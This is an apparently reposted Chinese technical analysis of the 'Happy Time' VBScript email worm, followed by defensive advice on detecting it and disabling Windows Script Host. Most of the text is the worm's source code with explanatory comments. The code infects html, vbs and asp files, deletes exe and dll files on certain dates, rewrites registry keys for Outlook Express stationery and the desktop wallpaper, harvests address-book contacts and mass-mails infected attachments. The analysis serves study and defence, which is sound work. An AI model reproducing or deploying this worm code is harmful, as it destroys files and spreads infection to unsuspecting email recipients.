"欢乐时光"代码分析

    技术2022-05-11  138

    "欢乐时光"代码分析 
    转自<天极网> ==================== “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。   下面让我们来看看它藏在快乐的外衣下的是什么吧! *************** 欢乐时光 ***************Rem I am sorry! happy timeOn Error Resume NextMload'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。Sub mload()On Error Resume NextmPath = Grf()Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application")'建立枚举对象,避开了安全审核If IsHTML Then'调用IsHtml函数,如果是Html,就小写…… mURL = LCase(document.Location)If mPath = "" ThenOs.Reset Os.Path = "C:/Help.htm"Os.Doc = Lhtml()Os.Write()'如果mPath为空,就在C盘下生成Help.htmIhtml = ""'超文本的内容,并指向C:/Help.HtmCall document.Body.insertAdjacentHTML("AfterBegin", Ihtml)ElseIf Iv(mPath, "Help.vbs") ThensetInterval "Rt()", 10000Elsem = "hta"If LCase(m) = Right(mURL, Len(m)) Thenid = setTimeout("mclose()", 1)'设置超时条件mainElse Os.Reset()Os.Path = mPath & "/" & "Help.hta"Os.Doc = Lhtml()Os.write()Iv mPath, "Help.hta"'生成Help.htaEnd IfEnd IfEnd IfElseMain'都不是,就执行main函数 End IfEnd Sub'******************************************************************'以下为主函数,太长了!Sub main()On Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")'不用说,创建FileSystemObject对象啦Set Od = CreateObject("Scripting.Dictionary")'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组Od.Add "html", "1100" Od.Add "vbs", "0100"Od.Add "htm", "1100"Od.Add "asp", "0010"'向Dictionary对象添加要感染的项目对Ks = "HKEY_CURRENT_USER/Software/"'使用变量以减少代码长度 Ds = Grf()Cs = Gsf()If IsVbs Then'如果是VBS If Of.FileExists("C:/help.htm") Then Of.DeleteFile ("C:/help.htm")'如果c:/help.htm存在,就删掉,消灭遗留的痕迹End IfKey = CInt(Month(Date) + Day(Date)) If Key = 13 Then '如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)Od.RemoveAllOd.Add "exe", "0001"Od.Add "dll", "0001"'就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用End IfCn = Rg(Ks & "Help/Count") '读注册表中的HKEY_CURRENT_USER/Software/Help/Count键值If Cn = "" ThenCn = 1'如果Count为0,就设为1End IfRw Ks & "Help/Count", Cn + 1 '添加HKEY_CURRENT_USER/Software/Help/Count键值,值为2f1 = Rg(Ks & "Help/FileName") '再读HKEY_CURRENT_USER/Software/Help/FileName键值f2 = FNext(Of, Od, f1) '得到该文件的文件名fext = GetExt(Of, Od, f2) '得到该文件扩展名的代号Rw Ks & "Help/FileName", f2 '添加键值If IsDel(fext) Then '如果扩展名代号的第四个字符为1——即0001(exe、dll)f3 = f2 '储存文件名f2 = FNext(Of, Od, f2) '得到文件的文件名?Rw Ks & "Help/FileName", f2 '写注册表Of.DeleteFile f3 '删除文件ElseIf LCase(WScript.ScriptFullname) <> LCase(f2) Then '如果不是集合中的文件Fw Of, f2, fextEnd IfEnd IfIf (CInt(Cn) Mod 366) = 0 ThenIf (CInt(Second(Time)) Mod 2) = 0 Then'使用 Cint函数强制执行转换,并发邮件TsendElseadds = OgMsend (adds)End IfEnd Ifwp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then'比较桌面墙纸是否已改变If wp = "" Thenn1 = ""n3 = Cs & "/Help.htm"ElsemP = Of.GetFile(wp).ParentFoldern1 = Of.GetFileName(wp)n2 = Of.GetBaseName(wp)n3 = Cs & "/" & n2 & ".htm"End IfSet pfc = Of.CreateTextFile(n3, True)mt = Sa("1100")'创建超文本pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt'超文本的内容pfc.CloseRw Ks & "Help/wallPaper", n3Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3'将带毒的超文本设置成活动桌面End IfElseSet fc = Of.CreateTextFile(Ds & "/Help.vbs", True)fc.Write Sa("0100")'创建vbs文件fc.Closebf = Cs & "/Untitled.htm"Set fc2 = Of.CreateTextFile(bf, True)fc2.Write Lhtmlfc2.Close'创建windows下的untitled.htmoeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"MSH = oe & "/Message Send HTML"CUS = oe & "/Compose Use Stationery"SN = oe & "/Stationery Name"Rw MSH, 1Rw CUS, 1Rw SN, bf'在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows/untitled.htmWeb = Cs & "/WEB"Set gf = Of.GetFolder(Web).Files'得到windows/web文件夹里的文件Od.Add "htt", "1100"'向Dictionary里添加htt项目对For Each m In gf'遍历windows/web下的每一个文件fext = GetExt(Of, Od, m)'得到每个文件的扩展名If fext <> "" Then'如果扩展名不为空,则Fw Of, m, fextEnd IfNextEnd IfEnd Sub'******************************************************************Sub mclose() document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记window.CloseEnd Sub'******************************************************************Sub Fw(Of, S, n) '此时S为文件名,n为文件扩展名Dim fc, fc2, m, mmail, mtOn Error Resume NextSet fc = Of.OpenTextFile(S, 1) '只读模式打开该文件mt = fc.ReadAll '读入全部文件流fc.Close '关闭文件If Not Sc(mt) Then '如果未感染过mmail = Ml(mt)mt = Sa(n)Set fc2 = Of.OpenTextFile(S, 8)'打开文件并在文件末尾进行写操作fc2.Write mtfc2.CloseMsend (mmail)'发带毒邮件End IfEnd Sub'******************************************************************Function Sc(S)mN = "Rem I am sorry! happy time"If InStr(S, mN) > 0 Then '如果读入的文件流中有Rem I am sorry! happy timeSc = True ElseSc = False'表示已感染过,返回True,否则为FalseEnd IfEnd Function'******************************************************************Function FNext(Of, Od, S)Dim fpath, fname, fext, T, gfOn Error Resume Nextfname = ""T = False'初始化变量If Of.FileExists(S) Then '如果S存在于当前文件夹中fpath = Of.GetFile(S).ParentFolder'得到文件的父目录名fname = S '得到文件名ElseIf Of.FolderExists(S) Then '不存在于当前文件夹中,则得到目录名fpath = S T = TrueElsefpath = Dnext(Of, "") '得到当前盘符——即根目录End IfDo While TrueSet gf = Of.GetFolder(fpath).Files '得到当前目录下的所有文件对象For Each m In gf '遍历每个文件If T ThenIf GetExt(Of, Od, m) <> "" Then '如果该文件是文件集合中的一员FNext = m '则返回该文件名,供调用的函数或过程使用——感染或删除之Exit FunctionEnd IfElseIf LCase(m) = LCase(fname) Or fname = "" Then '如果没文件T = TrueEnd IfNextfpath = Pnext(Of, fpath) 'LoopEnd Function'******************************************************************Function Pnext(Of, S)On Error Resume NextDim Ppath, Npath, gp, pn, T, mT = FalseIf Of.FolderExists(S) Then '如果如果指定的文件夹存在Set gp = Of.GetFolder(S).SubFolders '就得到子目录数pn = gp.CountIf pn = 0 Then '如果没子目录Ppath = LCase(S) 'Npath = LCase(Of.GetParentFolderName(S)) '得到父目录的小写形式T = TrueElseNpath = LCase(S) '有子目录,得到其小写形式的集合 End IfDo While Not Er ' For Each pn In Of.GetFolder(Npath).SubFolders'得到子目录下的子目录If T ThenIf Ppath = LCase(pn) ThenT = FalseEnd IfElsePnext = LCase(pn)Exit FunctionEnd IfNextT = TruePpath = LCase(Npath)'将字符串转化成小写Npath = Of.GetParentFolderName(Npath) 'If Of.GetFolder(Ppath).IsRootFolder Then '如果是根目录m = Of.GetDriveName(Ppath) '就得到分区符Pnext = Dnext(Of, m)Exit FunctionEnd IfLoopEnd IfEnd Function'******************************************************************Function Dnext(Of, S)Dim dc, n, d, T, mOn Error Resume NextT = Falsem = ""Set dc = Of.Drives '得到所有的驱动器盘符For Each d In dc '遍历每个驱动器If d.DriveType = 2 Or d.DriveType = 3 Then'如果是网络盘或本地盘If T ThenDnext = dExit Function'如果是False,就返回当前盘,并退出本函数ElseIf LCase(S) = LCase(d) Then '如果是True且盘符相同,就令T为TrueT = TrueEnd IfIf m = "" Then '如果m为空,就将盘符付给mm = dEnd IfEnd IfEnd IfNextDnext = m '返回盘符End Function'******************************************************************Function GetExt(Of, Od, S)Dim fextOn Error Resume Nextfext = LCase(Of.GetExtensionName(S))'返回该文件扩展名的小写GetExt = Od.Item(fext) '返回Dictionary对象中指定的key对应的item——即0001(exe)等End Function'******************************************************************Sub Rw(k, v) '写注册表Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")'创建对象R.RegWrite k, vEnd Sub'******************************************************************Function Rg(v) '读注册表Dim ROn Error Resume NextSet R = CreateObject("WScript.Shell")'创建对象Rg = R.RegRead(v)End Function'******************************************************************Function IsVbs() '此函数判断是不是VBS文件Dim ErrTestOn Error Resume NextErrTest = WScript.ScriptFullnameIf Err Then '如果出错,则不是VBSIsVbs = FalseElseIsVbs = TrueEnd IfEnd Function'******************************************************************Function IsHTML() '此函数判断是不是Html文件Dim ErrTestOn Error Resume NextErrTest = document.LocationIf Er ThenIsHTML = False'如果出错,则不是超文本ElseIsHTML = TrueEnd IfEnd Function'******************************************************************Function IsMail(S)'此函数判断是不是邮件地址Dim m1, m2IsMail = FalseIf InStr(S, vbCrLf) = 0 Then '返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符m1 = InStr(S, "@") m2 = InStr(S, ".")If m1 <> 0 And m1 < m2 Then '如果有“@”符号且“@”在“."之前,则是邮件地址IsMail = TrueEnd IfEnd IfEnd Function'******************************************************************Function Gsf() '得到windows目录Dim Of, mOn Error Resume NextSet Of = CreateObject("Scripting.FileSystemObject")'创建FileSystemObject对象m = Of.GetSpecialFolder(0)'得到特殊目录——Windows、System和Temp目录If Er Then '如果失败,返回C:/Gsf = "C:/"Else '若正常,则返回%Windows%Gsf = mEnd IfEnd Function'******************************************************************Function Lhtml() '写入超文本的内容,其中vbCrLf是换行符Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _"<" & "/Body>End Function'******************************************************************Function Lscript(S) '写入vbscript的声明Lscript = "<" & "script language='VBScript'>" & vbCrLf & _S & "<" & "/script" & ">"End Function'******************************************************************Function Sl(S1, S2, n) Dim l1, l2, l3, il1 = Len(S1) '得到文件流的长度l2 = Len(S2) '得到mailto:的长度i = InStr(S1, S2) '在文件流中查找mailto:第一次出现的位置——值为一个数If i > 0 Then '找到则进行字符串操作l3 = i + l2 - 1If n = 0 ThenSl = Left(S1, i - 1)ElseIf n = 1 ThenSl = Right(S1, l1 - l3)End IfElseSl = ""End IfEnd Function'******************************************************************Function Og() '得到WAB(通讯簿)中的邮件地址Dim i, n, m(), Om, OoSet Oo = CreateObject("Outlook.Application")'创建Outlook应用程序对象,Outlook和Outlook Express都跑不掉啦!Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Itemsn = Om.CountReDim m(n)For i = 1 To nm(i - 1) = Om.Item(i).Email1Address得到每个WAB中的邮件地址NextOg = mEnd Function'******************************************************************Sub Tsend() '发带毒邮件Dim Od, MS, MM, a, mSet Od = CreateObject("Scripting.Dictionary")MConnect MS, MMMM.FetchSorted = TrueMM.FetchFor i = 0 To MM.MsgCount - 1MM.MsgIndex = ia = MM.MsgOrigAddressIf Od.Item(a) = "" ThenOd.Item(a) = MM.MsgSubjectEnd IfNextFor Each m In Od.KeysMM.ComposeMM.MsgSubject = "Fw: " & Od.Item(m)'设置邮件标题MM.RecipAddress = m'此邮件的当前的目标邮件地址MM.AttachmentPathName = Gsf & "/Untitled.htm"'添加附件Windows/Untitled.htmMM.Send'发送!NextMS.SignOffEnd Sub'******************************************************************Function Er() '设置的错误陷阱,避免程序崩溃,严谨的风格值得学习If Err.Number = 0 ThenEr = FalseElseErr.ClearEr = TrueEnd IfEnd Function'******************************************************************Function IsDel(S) '此函数查看当前文件是否是要删除的文件类型If Mid(S, 4, 1) = 1 Then '看S的第四个字符是否是1——即是0001(exe和dll)IsDel = True '如是,返回True,以备删除ElseIsDel = False '如不是,返回FalseEnd IfEnd Function'******************************************************************于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到,“欢乐时光”也采用了“爱虫”的FileSystemObject(文件系统对象)的技术,这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSystemObject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些良性的超文本和Vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅监视关键字,如“爱虫”的“I love you”,“欢乐时光”的“Happy Time",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变量名替换一下,具有“智能查毒”的杀毒软件们也只有装聋作哑,望毒兴叹了。   如果您使用的是Foxmail 3.x,恭喜您啦!Foxmail 3.0以上的版本都严格地将文本邮件和超文本邮件加以区分,默认超文本邮件需要点击右角上的小地球图标才可以看到超文本,如果您怀疑某封信可能带毒,就可以从容删之,或导出成ASCII文件用记事本打开研究研究。而老Foxmail和Outlook Express就没那么幸运,即一看到标题就已Bingo,OE还会成为散毒源,寄发带毒邮件。因此首先,最好使用Foxmail 3.x,安全第一嘛!如果不放心,干脆删掉WSH(Windows Scripting Host)吧!方法是找到"添加/删除程序"->"Windows安装程序"--"附件" ,将"组件"中的"Windows Scripting Host"所占空间1.1MB前面的勾去掉,然后选"确定"即可。如果你想研究其源码,用Foxmail导出为文本文件即可,“知己知彼,百战不殆”嘛!

    最新回复(0)